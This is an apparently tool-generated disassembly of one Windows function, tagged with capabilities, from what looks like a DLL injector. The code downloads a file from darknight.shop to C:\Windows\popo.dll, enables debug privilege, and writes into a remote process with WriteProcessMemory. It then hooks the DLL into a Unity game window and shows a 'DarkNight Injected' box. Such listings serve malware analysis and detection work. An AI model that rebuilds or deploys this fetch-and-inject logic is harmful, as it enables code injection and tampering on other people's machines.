Function at 0x1400031d0
Capabilities:
Acquire debug privileges
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x14000d010]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov qword [rbp + 0x17], r12
mov qword [rbp + 0x1f], r12
lea r8d, [r12 + 0x13]
lea rdx, [0x14000a710]
lea rcx, [rbp + 7]
call fcn.140004340
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], r12
mov qword [rbp - 0x31], r12
lea r8d, [r12 + 0x1f]
lea rdx, str.https:__darknight.shop_popo.txt
lea rcx, [rbp - 0x49]
call fcn.140004340
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x21]
call fcn.140002d30
nop
lea r8, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae r8, qword [rbp + 7]
lea rdx, [rbp - 0x21]
cmp qword [rbp - 9], 0x10
cmovae rdx, qword [rbp - 0x21]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rbp - 0x29], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x29]
lea edx, [r12 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400036aa
mov qword [rbp - 1], r12
lea r8, [rbp - 1]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400036aa
mov dword [rbp + 0x27], 1
mov rax, qword [rbp - 1]
mov qword [rbp + 0x2b], rax
mov dword [rbp + 0x33], 2
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
lea r9d, [r12 + 0x10]
lea r8, [rbp + 0x27]
xor edx, edx
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400036aa
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x140003329
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400022e0
test al, al
jne 0x1400033ee
mov rdx, qword [rbp - 9]
cmp rdx, 0x10
jb 0x140003371
inc rdx
mov rcx, qword [rbp - 0x21]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000336c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036dc
call fcn.140004fd0
mov qword [rbp - 0x11], r12
mov qword [rbp - 9], 0xf
mov byte [rbp - 0x21], 0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x1400033bc
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003736
call fcn.140004fd0
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140004fb0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, 0x208
call fcn.14000526c
mov rsi, rax
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp - 1], rsi
xor r9d, r9d
mov r8, rsi
mov edx, 0x104
lea rcx, str.C:Windowspopo.dll
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp word [rsi + rbx*2], 0
jne 0x140003430
add rbx, rbx
mov ecx, 0x208
call fcn.14000526c
mov r14, rax
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r8d, 0x104
mov rdx, r14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [r14 + rdi*2], 0
jne 0x140003480
add rdi, rdi
lea r8, [rdi + 4]
add r8, rbx
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [0x14000d070]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov qword [rsp + 0x20], r12
mov r9, rbx
mov r8, rsi
mov rdx, rax
mov rcx, qword [0x14000d070]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003694
mov qword [0x14000d8b0], r15
add rbx, 2
add rbx, r15
mov qword [rsp + 0x20], r12
mov r9, rdi
mov r8, r14
mov rdx, rbx
mov rcx, qword [0x14000d070]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003694
mov qword [0x14000d8a0], rbx
mov rcx, r14
call fcn.140004fd0
nop
mov rcx, rsi
call fcn.140004fd0
call fcn.1400028a0
test al, al
je 0x140003336
xor edx, edx
lea rcx, str.UnityWndClass
call qword [sym.imp.USER32.dll_FindWindowW]
mov rdi, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ebx, eax
mov ecx, 0x208
call fcn.14000526c
mov r12, rax
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8, r12
mov edx, 0x104
lea rcx, str.C:Windowspopo.dll
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r15, rax
lea rdx, str.popo1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov r9d, ebx
mov r8, r15
mov rdx, rax
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov r14, rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9974
mov ecx, ebx
call qword [sym.imp.USER32.dll_PostThreadMessageW]
test r15, r15
je 0x1400035d9
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x1400035e7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x1400035f5
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140003602
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x140003610
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14000d070]
test rcx, rcx
je 0x140003622
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14000d098]
test rcx, rcx
je 0x140003634
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Kernelbase.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000364f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000366a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.140004fd0
xor r9d, r9d
lea r8, str.DarkNight
lea rdx, str.Injected
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rcx, r14
call fcn.140004fd0
nop
mov rcx, rsi
call fcn.140004fd0
jmp 0x140003336
mov rdx, qword [rbp - 9]
cmp rdx, 0x10
jb 0x1400036e8
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004fd0
mov qword [rbp - 0x11], r12
mov qword [rbp - 9], 0xf
mov byte [rbp - 0x21], 0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x1400033bc
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3